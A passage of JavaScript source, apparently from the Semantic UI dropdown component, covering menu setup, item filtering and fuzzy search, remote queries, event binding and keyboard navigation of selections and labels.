module.verbose('Creating user choices for value', value, $userChoice); } }); return $userChoices; }, userLabels: function(value) { var userValues = module.get.userValues() ; if(userValues) { module.debug('Adding user labels', userValues); $.each(userValues, function(index, value) { module.verbose('Adding custom user value'); module.add.label(value, value); }); } }, menu: function() { $menu = $('<div />') .addClass(className.menu) .appendTo($module) ; }, sizer: function() { $sizer = $('<span />') .addClass(className.sizer) .insertAfter($search) ; } }, search: function(query) { query = (query !== undefined) ? query : module.get.query() ; module.verbose('Searching for query', query); if(module.has.minCharacters(query)) { module.filter(query); } else { module.hide(); } }, select: { firstUnfiltered: function() { module.verbose('Selecting first non-filtered element'); module.remove.selectedItem(); $item .not(selector.unselectable) .not(selector.addition + selector.hidden) .eq(0) .addClass(className.selected) ; }, nextAvailable: function($selected) { $selected = $selected.eq(0); var $nextAvailable = $selected.nextAll(selector.item).not(selector.unselectable).eq(0), $prevAvailable = $selected.prevAll(selector.item).not(selector.unselectable).eq(0), hasNext = ($nextAvailable.length > 0) ; if(hasNext) { module.verbose('Moving selection to', $nextAvailable); $nextAvailable.addClass(className.selected); } else { module.verbose('Moving selection to', $prevAvailable); $prevAvailable.addClass(className.selected); } } }, setup: { api: function() { var apiSettings = { debug : settings.debug, urlData : { value : module.get.value(), query : module.get.query() }, on : false } ; module.verbose('First request, initializing API'); $module .api(apiSettings) ; }, layout: function() { if( $module.is('select') ) { module.setup.select(); module.setup.returnedObject(); } if( !module.has.menu() ) { module.create.menu(); } if( module.is.search() && !module.has.search() ) { module.verbose('Adding search input'); $search = $('<input />') .addClass(className.search) .prop('autocomplete', 'off') .insertBefore($text) ; } if( module.is.multiple() && module.is.searchSelection() && !module.has.sizer()) { module.create.sizer(); } if(settings.allowTab) { module.set.tabbable(); } }, select: function() { var selectValues = module.get.selectValues() ; module.debug('Dropdown initialized on a select', selectValues); if( $module.is('select') ) { $input = $module; } // see if select is placed correctly already if($input.parent(selector.dropdown).length > 0) { module.debug('UI dropdown already exists. Creating dropdown menu only'); $module = $input.closest(selector.dropdown); if( !module.has.menu() ) { module.create.menu(); } $menu = $module.children(selector.menu); module.setup.menu(selectValues); } else { module.debug('Creating entire dropdown from select'); $module = $('<div />') .attr('class', $input.attr('class') ) .addClass(className.selection) .addClass(className.dropdown) .html( templates.dropdown(selectValues) ) .insertBefore($input) ; if($input.hasClass(className.multiple) && $input.prop('multiple') === false) { module.error(error.missingMultiple); $input.prop('multiple', true); } if($input.is('[multiple]')) { module.set.multiple(); } if ($input.prop('disabled')) { module.debug('Disabling dropdown'); $module.addClass(className.disabled); } $input .removeAttr('class') .detach() .prependTo($module) ; } module.refresh(); }, menu: function(values) { $menu.html( templates.menu(values, fields)); $item = $menu.find(selector.item); }, reference: function() { module.debug('Dropdown behavior was called on select, replacing with closest dropdown'); // replace module reference $module = $module.parent(selector.dropdown); module.refresh(); module.setup.returnedObject(); // invoke method in context of current instance if(methodInvoked) { instance = module; module.invoke(query); } }, returnedObject: function() { var $firstModules = $allModules.slice(0, elementIndex), $lastModules = $allModules.slice(elementIndex + 1) ; // adjust all modules to use correct reference $allModules = $firstModules.add($module).add($lastModules); } }, refresh: function() { module.refreshSelectors(); module.refreshData(); }, refreshItems: function() { $item = $menu.find(selector.item); }, refreshSelectors: function() { module.verbose('Refreshing selector cache'); $text = $module.find(selector.text); $search = $module.find(selector.search); $input = $module.find(selector.input); $icon = $module.find(selector.icon); $combo = ($module.prev().find(selector.text).length > 0) ? $module.prev().find(selector.text) : $module.prev() ; $menu = $module.children(selector.menu); $item = $menu.find(selector.item); }, refreshData: function() { module.verbose('Refreshing cached metadata'); $item .removeData(metadata.text) .removeData(metadata.value) ; }, clearData: function() { module.verbose('Clearing metadata'); $item .removeData(metadata.text) .removeData(metadata.value) ; $module .removeData(metadata.defaultText) .removeData(metadata.defaultValue) .removeData(metadata.placeholderText) ; }, toggle: function() { module.verbose('Toggling menu visibility'); if( !module.is.active() ) { module.show(); } else { module.hide(); } }, show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if( module.can.show() && !module.is.active() ) { module.debug('Showing dropdown'); if(module.has.message() && !(module.has.maxSelections() || module.has.allResultsFiltered()) ) { module.remove.message(); } if(module.is.allFiltered()) { return true; } if(settings.onShow.call(element) !== false) { module.animate.show(function() { if( module.can.click() ) { module.bind.intent(); } if(module.has.menuSearch()) { module.focusSearch(); } module.set.visible(); callback.call(element); }); } } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if( module.is.active() ) { module.debug('Hiding dropdown'); if(settings.onHide.call(element) !== false) { module.animate.hide(function() { module.remove.visible(); callback.call(element); }); } } }, hideOthers: function() { module.verbose('Finding other dropdowns to hide'); $allModules .not($module) .has(selector.menu + '.' + className.visible) .dropdown('hide') ; }, hideMenu: function() { module.verbose('Hiding menu instantaneously'); module.remove.active(); module.remove.visible(); $menu.transition('hide'); }, hideSubMenus: function() { var $subMenus = $menu.children(selector.item).find(selector.menu) ; module.verbose('Hiding sub menus', $subMenus); $subMenus.transition('hide'); }, bind: { events: function() { if(hasTouch) { module.bind.touchEvents(); } module.bind.keyboardEvents(); module.bind.inputEvents(); module.bind.mouseEvents(); }, touchEvents: function() { module.debug('Touch device detected binding additional touch events'); if( module.is.searchSelection() ) { // do nothing special yet } else if( module.is.single() ) { $module .on('touchstart' + eventNamespace, module.event.test.toggle) ; } $menu .on('touchstart' + eventNamespace, selector.item, module.event.item.mouseenter) ; }, keyboardEvents: function() { module.verbose('Binding keyboard events'); $module .on('keydown' + eventNamespace, module.event.keydown) ; if( module.has.search() ) { $module .on(module.get.inputEvent() + eventNamespace, selector.search, module.event.input) ; } if( module.is.multiple() ) { $document .on('keydown' + elementNamespace, module.event.document.keydown) ; } }, inputEvents: function() { module.verbose('Binding input change events'); $module .on('change' + eventNamespace, selector.input, module.event.change) ; }, mouseEvents: function() { module.verbose('Binding mouse events'); if(module.is.multiple()) { $module .on('click' + eventNamespace, selector.label, module.event.label.click) .on('click' + eventNamespace, selector.remove, module.event.remove.click) ; } if( module.is.searchSelection() ) { $module .on('mousedown' + eventNamespace, module.event.mousedown) .on('mouseup' + eventNamespace, module.event.mouseup) .on('mousedown' + eventNamespace, selector.menu, module.event.menu.mousedown) .on('mouseup' + eventNamespace, selector.menu, module.event.menu.mouseup) .on('click' + eventNamespace, selector.icon, module.event.icon.click) .on('focus' + eventNamespace, selector.search, module.event.search.focus) .on('click' + eventNamespace, selector.search, module.event.search.focus) .on('blur' + eventNamespace, selector.search, module.event.search.blur) .on('click' + eventNamespace, selector.text, module.event.text.focus) ; if(module.is.multiple()) { $module .on('click' + eventNamespace, module.event.click) ; } } else { if(settings.on == 'click') { $module .on('click' + eventNamespace, selector.icon, module.event.icon.click) .on('click' + eventNamespace, module.event.test.toggle) ; } else if(settings.on == 'hover') { $module .on('mouseenter' + eventNamespace, module.delay.show) .on('mouseleave' + eventNamespace, module.delay.hide) ; } else { $module .on(settings.on + eventNamespace, module.toggle) ; } $module .on('mousedown' + eventNamespace, module.event.mousedown) .on('mouseup' + eventNamespace, module.event.mouseup) .on('focus' + eventNamespace, module.event.focus) .on('blur' + eventNamespace, module.event.blur) ; } $menu .on('mouseenter' + eventNamespace, selector.item, module.event.item.mouseenter) .on('mouseleave' + eventNamespace, selector.item, module.event.item.mouseleave) .on('click' + eventNamespace, selector.item, module.event.item.click) ; }, intent: function() { module.verbose('Binding hide intent event to document'); if(hasTouch) { $document .on('touchstart' + elementNamespace, module.event.test.touch) .on('touchmove' + elementNamespace, module.event.test.touch) ; } $document .on('click' + elementNamespace, module.event.test.hide) ; } }, unbind: { intent: function() { module.verbose('Removing hide intent event from document'); if(hasTouch) { $document .off('touchstart' + elementNamespace) .off('touchmove' + elementNamespace) ; } $document .off('click' + elementNamespace) ; } }, filter: function(query) { var searchTerm = (query !== undefined) ? query : module.get.query(), afterFiltered = function() { if(module.is.multiple()) { module.filterActive(); } module.select.firstUnfiltered(); if( module.has.allResultsFiltered() ) { if( settings.onNoResults.call(element, searchTerm) ) { if(settings.allowAdditions) { if(settings.hideAdditions) { module.verbose('User addition with no menu, setting empty style'); module.set.empty(); module.hideMenu(); } } else { module.verbose('All items filtered, showing message', searchTerm); module.add.message(message.noResults); } } else { module.verbose('All items filtered, hiding dropdown', searchTerm); module.hideMenu(); } } else { module.remove.empty(); module.remove.message(); } if(settings.allowAdditions) { module.add.userSuggestion(query); } if(module.is.searchSelection() && module.can.show() && module.is.focusedOnSearch() ) { module.show(); } } ; if(settings.useLabels && module.has.maxSelections()) { return; } if(settings.apiSettings) { if( module.can.useAPI() ) { module.queryRemote(searchTerm, function() { afterFiltered(); }); } else { module.error(error.noAPI); } } else { module.filterItems(searchTerm); afterFiltered(); } }, queryRemote: function(query, callback) { var apiSettings = { errorDuration : false, cache : 'local', throttle : settings.throttle, urlData : { query: query }, onError: function() { module.add.message(message.serverError); callback(); }, onFailure: function() { module.add.message(message.serverError); callback(); }, onSuccess : function(response) { module.remove.message(); module.setup.menu({ values: response[fields.remoteValues] }); callback(); } } ; if( !$module.api('get request') ) { module.setup.api(); } apiSettings = $.extend(true, {}, apiSettings, settings.apiSettings); $module .api('setting', apiSettings) .api('query') ; }, filterItems: function(query) { var searchTerm = (query !== undefined) ? query : module.get.query(), results = null, escapedTerm = module.escape.regExp(searchTerm), beginsWithRegExp = new RegExp('^' + escapedTerm, 'igm') ; // avoid loop if we're matching nothing if( module.has.query() ) { results = []; module.verbose('Searching for matching values', searchTerm); $item .each(function(){ var $choice = $(this), text, value ; if(settings.match == 'both' || settings.match == 'text') { text = String(module.get.choiceText($choice, false)); if(text.search(beginsWithRegExp) !== -1) { results.push(this); return true; } else if (settings.fullTextSearch === 'exact' && module.exactSearch(searchTerm, text)) { results.push(this); return true; } else if (settings.fullTextSearch === true && module.fuzzySearch(searchTerm, text)) { results.push(this); return true; } } if(settings.match == 'both' || settings.match == 'value') { value = String(module.get.choiceValue($choice, text)); if(value.search(beginsWithRegExp) !== -1) { results.push(this); return true; } else if(settings.fullTextSearch && module.fuzzySearch(searchTerm, value)) { results.push(this); return true; } } }) ; } module.debug('Showing only matched items', searchTerm); module.remove.filteredItem(); if(results) { $item .not(results) .addClass(className.filtered) ; } }, fuzzySearch: function(query, term) { var termLength = term.length, queryLength = query.length ; query = query.toLowerCase(); term = term.toLowerCase(); if(queryLength > termLength) { return false; } if(queryLength === termLength) { return (query === term); } search: for (var characterIndex = 0, nextCharacterIndex = 0; characterIndex < queryLength; characterIndex++) { var queryCharacter = query.charCodeAt(characterIndex) ; while(nextCharacterIndex < termLength) { if(term.charCodeAt(nextCharacterIndex++) === queryCharacter) { continue search; } } return false; } return true; }, exactSearch: function (query, term) { query = query.toLowerCase(); term = term.toLowerCase(); if(term.indexOf(query) > -1) { return true; } return false; }, filterActive: function() { if(settings.useLabels) { $item.filter('.' + className.active) .addClass(className.filtered) ; } }, focusSearch: function(skipHandler) { if( module.has.search() && !module.is.focusedOnSearch() ) { if(skipHandler) { $module.off('focus' + eventNamespace, selector.search); $search.focus(); $module.on('focus' + eventNamespace, selector.search, module.event.search.focus); } else { $search.focus(); } } }, forceSelection: function() { var $currentlySelected = $item.not(className.filtered).filter('.' + className.selected).eq(0), $activeItem = $item.not(className.filtered).filter('.' + className.active).eq(0), $selectedItem = ($currentlySelected.length > 0) ? $currentlySelected : $activeItem, hasSelected = ($selectedItem.length > 0) ; if(hasSelected) { module.debug('Forcing partial selection to selected item', $selectedItem); module.event.item.click.call($selectedItem, {}, true); return; } else { if(settings.allowAdditions) { module.set.selected(module.get.query()); module.remove.searchTerm(); } else { module.remove.searchTerm(); } } }, event: { change: function() { if(!internalChange) { module.debug('Input changed, updating selection'); module.set.selected(); } }, focus: function() { if(settings.showOnFocus && !activated && module.is.hidden() && !pageLostFocus) { module.show(); } }, blur: function(event) { pageLostFocus = (document.activeElement === this); if(!activated && !pageLostFocus) { module.remove.activeLabel(); module.hide(); } }, mousedown: function() { if(module.is.searchSelection()) { // prevent menu hiding on immediate re-focus willRefocus = true; } else { // prevents focus callback from occurring on mousedown activated = true; } }, mouseup: function() { if(module.is.searchSelection()) { // prevent menu hiding on immediate re-focus willRefocus = false; } else { activated = false; } }, click: function(event) { var $target = $(event.target) ; // focus search if($target.is($module)) { if(!module.is.focusedOnSearch()) { module.focusSearch(); } else { module.show(); } } }, search: { focus: function() { activated = true; if(module.is.multiple()) { module.remove.activeLabel(); } if(settings.showOnFocus) { module.search(); } }, blur: function(event) { pageLostFocus = (document.activeElement === this); if(!willRefocus) { if(!itemActivated && !pageLostFocus) { if(settings.forceSelection) { module.forceSelection(); } module.hide(); } } willRefocus = false; } }, icon: { click: function(event) { module.toggle(); } }, text: { focus: function(event) { activated = true; module.focusSearch(); } }, input: function(event) { if(module.is.multiple() || module.is.searchSelection()) { module.set.filtered(); } clearTimeout(module.timer); module.timer = setTimeout(module.search, settings.delay.search); }, label: { click: function(event) { var $label = $(this), $labels = $module.find(selector.label), $activeLabels = $labels.filter('.' + className.active), $nextActive = $label.nextAll('.' + className.active), $prevActive = $label.prevAll('.' + className.active), $range = ($nextActive.length > 0) ? $label.nextUntil($nextActive).add($activeLabels).add($label) : $label.prevUntil($prevActive).add($activeLabels).add($label) ; if(event.shiftKey) { $activeLabels.removeClass(className.active); $range.addClass(className.active); } else if(event.ctrlKey) { $label.toggleClass(className.active); } else { $activeLabels.removeClass(className.active); $label.addClass(className.active); } settings.onLabelSelect.apply(this, $labels.filter('.' + className.active)); } }, remove: { click: function() { var $label = $(this).parent() ; if( $label.hasClass(className.active) ) { // remove all selected labels module.remove.activeLabels(); } else { // remove this label only module.remove.activeLabels( $label ); } } }, test: { toggle: function(event) { var toggleBehavior = (module.is.multiple()) ? module.show : module.toggle ; if(module.is.bubbledLabelClick(event) || module.is.bubbledIconClick(event)) { return; } if( module.determine.eventOnElement(event, toggleBehavior) ) { event.preventDefault(); } }, touch: function(event) { module.determine.eventOnElement(event, function() { if(event.type == 'touchstart') { module.timer = setTimeout(function() { module.hide(); }, settings.delay.touch); } else if(event.type == 'touchmove') { clearTimeout(module.timer); } }); event.stopPropagation(); }, hide: function(event) { module.determine.eventInModule(event, module.hide); } }, select: { mutation: function(mutations) { module.debug('<select> modified, recreating menu'); module.setup.select(); } }, menu: { mutation: function(mutations) { var mutation = mutations[0], $addedNode = mutation.addedNodes ? $(mutation.addedNodes[0]) : $(false), $removedNode = mutation.removedNodes ? $(mutation.removedNodes[0]) : $(false), $changedNodes = $addedNode.add($removedNode), isUserAddition = $changedNodes.is(selector.addition) || $changedNodes.closest(selector.addition).length > 0, isMessage = $changedNodes.is(selector.message) || $changedNodes.closest(selector.message).length > 0 ; if(isUserAddition || isMessage) { module.debug('Updating item selector cache'); module.refreshItems(); } else { module.debug('Menu modified, updating selector cache'); module.refresh(); } }, mousedown: function() { itemActivated = true; }, mouseup: function() { itemActivated = false; } }, item: { mouseenter: function(event) { var $target = $(event.target), $item = $(this), $subMenu = $item.children(selector.menu), $otherMenus = $item.siblings(selector.item).children(selector.menu), hasSubMenu = ($subMenu.length > 0), isBubbledEvent = ($subMenu.find($target).length > 0) ; if( !isBubbledEvent && hasSubMenu ) { clearTimeout(module.itemTimer); module.itemTimer = setTimeout(function() { module.verbose('Showing sub-menu', $subMenu); $.each($otherMenus, function() { module.animate.hide(false, $(this)); }); module.animate.show(false, $subMenu); }, settings.delay.show); event.preventDefault(); } }, mouseleave: function(event) { var $subMenu = $(this).children(selector.menu) ; if($subMenu.length > 0) { clearTimeout(module.itemTimer); module.itemTimer = setTimeout(function() { module.verbose('Hiding sub-menu', $subMenu); module.animate.hide(false, $subMenu); }, settings.delay.hide); } }, click: function (event, skipRefocus) { var $choice = $(this), $target = (event) ? $(event.target) : $(''), $subMenu = $choice.find(selector.menu), text = module.get.choiceText($choice), value = module.get.choiceValue($choice, text), hasSubMenu = ($subMenu.length > 0), isBubbledEvent = ($subMenu.find($target).length > 0) ; if(!isBubbledEvent && (!hasSubMenu || settings.allowCategorySelection)) { if(module.is.searchSelection()) { if(settings.allowAdditions) { module.remove.userAddition(); } module.remove.searchTerm(); if(!module.is.focusedOnSearch() && !(skipRefocus == true)) { module.focusSearch(true); } } if(!settings.useLabels) { module.remove.filteredItem(); module.set.scrollPosition($choice); } module.determine.selectAction.call(this, text, value); } } }, document: { // label selection should occur even when element has no focus keydown: function(event) { var pressedKey = event.which, isShortcutKey = module.is.inObject(pressedKey, keys) ; if(isShortcutKey) { var $label = $module.find(selector.label), $activeLabel = $label.filter('.' + className.active), activeValue = $activeLabel.data(metadata.value), labelIndex = $label.index($activeLabel), labelCount = $label.length, hasActiveLabel = ($activeLabel.length > 0), hasMultipleActive = ($activeLabel.length > 1), isFirstLabel = (labelIndex === 0), isLastLabel = (labelIndex + 1 == labelCount), isSearch = module.is.searchSelection(), isFocusedOnSearch = module.is.focusedOnSearch(), isFocused = module.is.focused(), caretAtStart = (isFocusedOnSearch && module.get.caretPosition() === 0), $nextLabel ; if(isSearch && !hasActiveLabel && !isFocusedOnSearch) { return; } if(pressedKey == keys.leftArrow) { // activate previous label if((isFocused || caretAtStart) && !hasActiveLabel) { module.verbose('Selecting previous label'); $label.last().addClass(className.active); } else if(hasActiveLabel) { if(!event.shiftKey) { module.verbose('Selecting previous label'); $label.removeClass(className.active); } else { module.verbose('Adding previous label to selection'); } if(isFirstLabel && !hasMultipleActive) { $activeLabel.addClass(className.active); } else { $activeLabel.prev(selector.siblingLabel) .addClass(className.active) .end() ; } event.preventDefault(); } } else if(pressedKey == keys.rightArrow) { // activate first label if(isFocused && !hasActiveLabel) { $label.first().addClass(className.active); } // activate next label if(hasActiveLabel) { if(!event.shiftKey) { module.verbose('Selecting next label'); $label.removeClass(className.active); } else { module.verbose('Adding next label to selection'); } if(isLastLabel) { if(isSearch) { if(!isFocusedOnSearch) { module.focusSearch(); } else { $label.removeClass(className.active); } } else if(hasMultipleActive) { $activeLabel.next(selector.siblingLabel).addClass(className.active); } else { $activeLabel.addClass(className.active); } } else { $activeLabel.next(selector.siblingLabel).addClass(className.active); } event.preventDefault(); } } else if(pressedKey == keys.deleteKey || pressedKey == keys.backspace) { if(hasActiveLabel) { module.verbose('Removing active labels'); if(isLastLabel) { if(isSearch && !isFocusedOnSearch) { module.focusSearch(); } } $activeLabel.last().next(selector.siblingLabel).addClass(className.active); module.remove.activeLabels($activeLabel); event.preventDefault(); } else if(caretAtStart && !hasActiveLabel && pressedKey == keys.backspace) { module.verbose('Removing last label on input backspace'); $activeLabel = $label.last().addClass(className.active); module.remove.activeLabels($activeLabel); } } else { $activeLabel.removeClass(className.active); } } } }, keydown: function(event) { var pressedKey = event.which, isShortcutKey = module.is.inObject(pressedKey, keys) ; if(isShortcutKey) { var $currentlySelected = $item.not(selector.unselectable).filter('.' + className.selected).eq(0), $activeItem = $menu.children('.' + className.active).eq(0), $selectedItem = ($currentlySelected.length > 0) ? $currentlySelected : $activeItem, $visibleItems = ($selectedItem.length > 0) ? $selectedItem.siblings(':not(.' + className.filtered +')').addBack() : $menu.children(':not(.' + className.filtered +')'), $subMenu = $selectedItem.children(selector.menu), $parentMenu = $selectedItem.closest(selector.menu), inVisibleMenu = ($parentMenu.hasClass(className.visible) || $parentMenu.hasClass(className.animating) || $parentMenu.parent(selector.menu).length > 0), hasSubMenu = ($subMenu.length> 0), hasSelectedItem = ($selectedItem.length > 0), selectedIsSelectable = ($selectedItem.not(selector.unselectable).length > 0), delimiterPressed = (pressedKey == keys.delimiter && settings.allowAdditions && module.is.multiple()), isAdditionWithoutMenu = (settings.allowAdditions && settings.hideAdditions && (pressedKey == keys.enter || delimiterPressed) && selectedIsSelectable), $nextItem, isSubMenuItem, newIndex ; // allow selection with menu closed if(isAdditionWithoutMenu) { module.verbose('Selecting item from keyboard shortcut', $selectedItem); module.event.item.click.call($selectedItem, event); if(module.is.searchSelection()) { module.remove.searchTerm(); } } // visible menu keyboard shortcuts if( module.is.visible() ) { // enter (select or open sub-menu) if(pressedKey == keys.enter || delimiterPressed) { if(pressedKey == keys.enter && hasSelectedItem && hasSubMenu && !settings.allowCategorySelection) { module.verbose('Pressed enter on unselectable category, opening sub menu'); pressedKey = keys.rightArrow; } else if(selectedIsSelectable) { module.verbose('Selecting item from keyboard shortcut', $selectedItem); module.event.item.click.call($selectedItem, event); if(module.is.searchSelection()) { module.remove.searchTerm(); } } event.preventDefault(); } // sub-menu actions if(hasSelectedItem) { if(pressedKey == keys.leftArrow) { isSubMenuItem = ($parentMenu[0] !== $menu[0]); if(isSubMenuItem) { module.verbose('Left key pressed, closing sub-menu'); module.animate.hide(false, $parentMenu); $selectedItem .removeClass(className.selected) ; $parentMenu .closest(selector.item) .addClass(className.selected) ; event.preventDefault(); } } // right arrow (show sub-menu) if(pressedKey == keys.rightArrow) { if(hasSubMenu) { module.verbose('Right key pressed, opening sub-menu'); module.animate.show(false, $subMenu); $selectedItem .removeClass(className.selected) ; $subMenu .find(selector.item).eq(0) .addClass(className.selected) ; event.preventDefault(); } } } // up arrow (traverse menu up) if(pressedKey == keys.upArrow) { $nextItem = (hasSelectedItem && inVisibleMenu) ? $selectedItem.prevAll(selector.item + ':not(' + selector.unselectable + ')').eq(0) : $item.eq(0) ; if($visibleItems.index( $nextItem ) < 0) { module.verbose('Up key pressed but reached top of current menu'); event.preventDefault(); return; } else { module.verbose('Up key pressed, changing active item'); $selectedItem .removeClass(className.selected) ; $nextItem .addClass(className.selected) ; module.set.scrollPosition($nextItem); if(settings.selectOnKeydown && module.is.single()) { module.set.selectedItem($nextItem); } } event.preventDefault(); } // down arrow (traverse menu down) if(pressedKey == keys.downArrow) { $nextItem = (hasSelectedItem && inVisibleMenu) ? $nextItem = $selectedItem.nextAll(selector.item + ':not(' + selector.unselectable + ')').eq(0) : $item.eq(0) ; if($nextItem.length === 0) { module.verbose('Down key pressed but reached bottom of current menu'); event.preventDefault(); return; } else { module.verbose('Down key pressed, changing active item'); $item .removeClass(className.selected) ; $nextItem .addClass(className.selected) ; module.set.scrollPosition($nextItem); if(settings.selectOnKeydown && module.is.single()) { module.set.selectedItem($nextItem); } } event.preventDefault(); } // page down (show next page) if(pressedKey == keys.pageUp) { module.scrollPage('up'); event.preventDefault(); } if(pressedKey == keys.pageDown) { module.scrollPage('down'); event.preventDefault(); } // escape (close menu) if(pressedKey == keys.escape) { module.verbose('Escape key pressed, closing dropdown'); module.hide(); } } else { // delimiter key if(delimiterPressed) { event.preventDefault(); } // down arrow (open menu) if(pressedKey == keys.downArrow && !module.is.visible()) { module.verbose('Down key pressed, showing dropdown'); module.select.firstUnfiltered(); module.show(); event.preventDefault(); } } } else { if( !module.has.search() ) { module.set.selectedLetter( String.fromCharCode(pressedKey) ); } } } }, trigger: { change: function() { var events = document.createEvent('HTMLEvents'), inputElement = $input[0] ; if(inputElement) { module.verbose('Triggering native change event'); events.initEvent('change', true, false); inputElement.dispatchEvent(events); } } }, determine: { selectAction: function(text, value) { module.verbose('Determining action', settings.action); if( $.isFunction( module.action[settings.action] ) ) { module.verbose('Triggering preset action', settings.action, text, value); module.action[ settings.action ].call(element, text, value, this); } else if( $.isFunction(settings.action) ) { module.verbose('Triggering user action', settings.action, text, value); settings.action.call(element, text, value, this); } else { module.error(error.action, settings.action); } }, eventInModule: function(event, callback) { var $target = $(event.target), inDocument = ($target.closest(document.documentElement).length > 0), inModule = ($target.closest($module).length > 0) ; callback = $.isFunction(callback) ? callback : function(){} ; if(inDocument && !inModule) { module.verbose('Triggering event', callback); callback(); return true; } else { module.verbose('Event occurred in dropdown, canceling callback'); return false; } }, eventOnElement: function(event, callback) { var $target = $(event.target), $label = $target.closest(selector.siblingLabel), inVisibleDOM = document.body.contains(event.target), notOnLabel = ($module.find($label).length === 0), notInMenu = ($target.closest($menu).length === 0) ; callback = $.isFunction(callback) ? callback : function(){} ; if(inVisibleDOM && notOnLabel && notInMenu) { module.verbose('Triggering event', callback); callback(); return true; } else { module.verbose('Event occurred in dropdown menu, canceling callback'); return false; } } }, action: { nothing: function() {}, activate: function(text, value, element) { value = (value !== undefined) ? value : text ; if( module.can.activate( $(element) ) ) { module.set.selected(value, $(element)); if(module.is.multiple() && !module.is.allFiltered()) { return; } else { module.hideAndClear(); } } }, select: function(text, value, element) { value = (value !== undefined) ? value : text ; if( module.can.activate( $(element) ) ) { module.set.value(value, $(element)); if(module.is.multiple() && !module.is.allFiltered()) { return; } else { module.hideAndClear(); } } }, combo: function(text, value, element) { value = (value !== undefined) ? value : text ; module.set.selected(value, $(element)); module.hideAndClear(); }, hide: function(text, value, element) { module.set.value(value, text); module.hideAndClear(); } }, get: { id: function() { return id; }, defaultText: function() { return $module.data(metadata.defaultText); }, defaultValue: function() { return $module.data(metadata.defaultValue); }, placeholderText: function() { return $module.data(metadata.placeholderText) || ''; }, text: function() { return $text.text(); }, query: function() { return $.trim($search.val()); }, searchWidth: function(value) { value = (value !== undefined) ? value : $search.val() ; $sizer.text(value); // prevent rounding issues return Math.ceil( $sizer.width() + 1); }, selectionCount: function() { var values = module.get.values(), count ; count = ( module.is.multiple() ) ? $.isArray(values) ? values.length : 0 : (module.get.value() !== '') ? 1 : 0 ; return count; }, transition: function($subMenu) { return (settings.transition == 'auto') ? module.is.upward($subMenu) ? 'slide up' : 'slide down' : settings.transition ; }, userValues: function() { var values = module.get.values() ; if(!values) { return false; } values = $.isArray(values) ? values : [values] ; return $.grep(values, function(value) { return (module.get.item(value) === false); }); }, uniqueArray: function(array) { return $.grep(array, function (value, index) { return $.inArray(value, array) === index; }); }, caretPosition: function() { var input = $search.get(0), range, rangeLength ; if('selectionStart' in input) { return input.selectionStart; } else if (document.selection) { input.focus(); range = document.selection.createRange(); rangeLength = range.text.length; range.moveStart('character', -input.value.length); return range.text.length - rangeLength; } }, value: function() { var value = ($input.length > 0) ? $input.val() : $module.data(metadata.value), isEmptyMultiselect = ($.isArray(value) && value.length === 1 && value[0] === '') ; // prevents placeholder element from being selected when multiple return (value === undefined || isEmptyMultiselect) ? '' : value ; }, values: function() { var value = module.get.value() ; if(value === '') { return ''; } return ( !module.has.selectInput() && module.is.multiple() ) ? (typeof value == 'string') // delimited string ? value.split(settings.delimiter) : '' : value ; }, remoteValues: function() { var values = module.get.values(), remoteValues = false ; if(values) { if(typeof values == 'string') { values = [values]; } $.each(values, function(index, value) { var name = module.read.remoteData(value) ; module.verbose('Restoring value from session data', name, value); if(name) { if(!remoteValues) { remoteValues = {}; } remoteValues[value] = name; } }); } return remoteValues; }, choiceText: function($choice, preserveHTML) { preserveHTML = (preserveHTML !== undefined) ? preserveHTML : settings.preserveHTML ; if($choice) { if($choice.find(selector.menu).length > 0) { module.verbose('Retrieving text of element with sub-menu'); $choice = $choice.clone(); $choice.find(selector.menu).remove(); $choice.find(selector.menuIcon).remove(); } return ($choice.data(metadata.text) !== undefined) ? $choice.data(metadata.text) : (preserveHTML) ? $.trim($choice.html()) : $.trim($choice.text()) ; } }, choiceValue: function($choice, choiceText) { choiceText = choiceText || module.get.choiceText($choice); if(!$choice) { return false; } return ($choice.data(metadata.value) !== undefined) ? String( $choice.data(metadata.value) ) : (typeof choiceText === 'string') ? $.trim(choiceText.toLowerCase()) : String(choiceText) ; }, inputEvent: function() { var input = $search[0] ; if(input) { return (input.oninput !== undefined) ? 'input' : (input.onpropertychange !== undefined) ? 'propertychange' : 'keyup' ; } return false; }, selectValues: function() { var select = {} ; select.values = []; $module .find('option') .each(function() { var $option = $(this), name = $option.html(), disabled = $option.attr('disabled'), value = ( $option.attr('value') !== undefined ) ? $option.attr('value') : name ; if(settings.placeholder === 'auto' && value === '') { select.placeholder = name; } else { select.values.push({ name : name, value : value, disabled : disabled }); } }) ; if(settings.placeholder && settings.placeholder !== 'auto') { module.debug('Setting placeholder value to', settings.placeholder); select.placeholder = settings.placeholder; } if(settings.sortSelect) { select.values.sort(function(a, b) { return (a.name > b.name) ? 1 : -1 ; }); module.debug('Retrieved and sorted values from select', select); } else { module.debug('Retrieved values from select', select); } return select; }, activeItem: function() { return $item.filter('.' + className.active); }, selectedItem: function() { var $selectedItem = $item.not(selector.unselectable).filter('.' + className.selected) ; return ($selectedItem.length > 0) ? $selectedItem : $item.eq(0) ; }, itemWithAdditions: function(value) { var $items = module.get.item(value), $userItems = module.create.userChoice(value), hasUserItems = ($userItems && $userItems.length > 0) ; if(hasUserItems) { $items = ($items.length > 0) ? $items.add($userItems) : $userItems ; } return $items; }, item: function(value, strict) { var $selectedItem = false, shouldSearch, isMultiple ; value = (value !== undefined) ? value : ( module.get.values() !== undefined) ? module.get.values() : module.get.text() ; shouldSearch = (isMultiple) ? (value.length > 0) : (value !== undefined && value !== null) ; isMultiple = (module.is.multiple() && $.isArray(value)); strict = (value === '' || value === 0) ? true : strict || false ; if(shouldSearch) { $item .each(function() { var $choice = $(this), optionText = module.get.choiceText($choice), optionValue = module.get.choiceValue($choice, optionText) ; // safe early exit if(optionValue === null || optionValue === undefined) { return; } if(isMultiple) { if($.inArray( String(optionValue), value) !== -1 || $.inArray(optionText, value) !== -1) { $selectedItem = ($selectedItem) ? $selectedItem.add($choice) : $choice ; } } else if(strict) { module.verbose('Ambiguous dropdown value using strict type check', $choice, value); if( optionValue === value || optionText === value) { $selectedItem = $choice; return true; } } else { if( String(optionValue) == String(value) || optionText == value) { module.verbose('Found select item by value', optionValue, value); $selectedItem = $choice; return true; } } }) ; } return $selectedItem; } }, check: { maxSelections: function(selectionCount) { if(settings.maxSelections) { selectionCount = (selectionCount !== undefined) ? selectionCount : module.get.selectionCount() ; if(selectionCount >= settings.maxSelections) { module.debug('Maximum selection count reached'); if(settings.useLabels) { $item.addClass(className.filtered); module.add.message(message.maxSelections); } return true; } else { 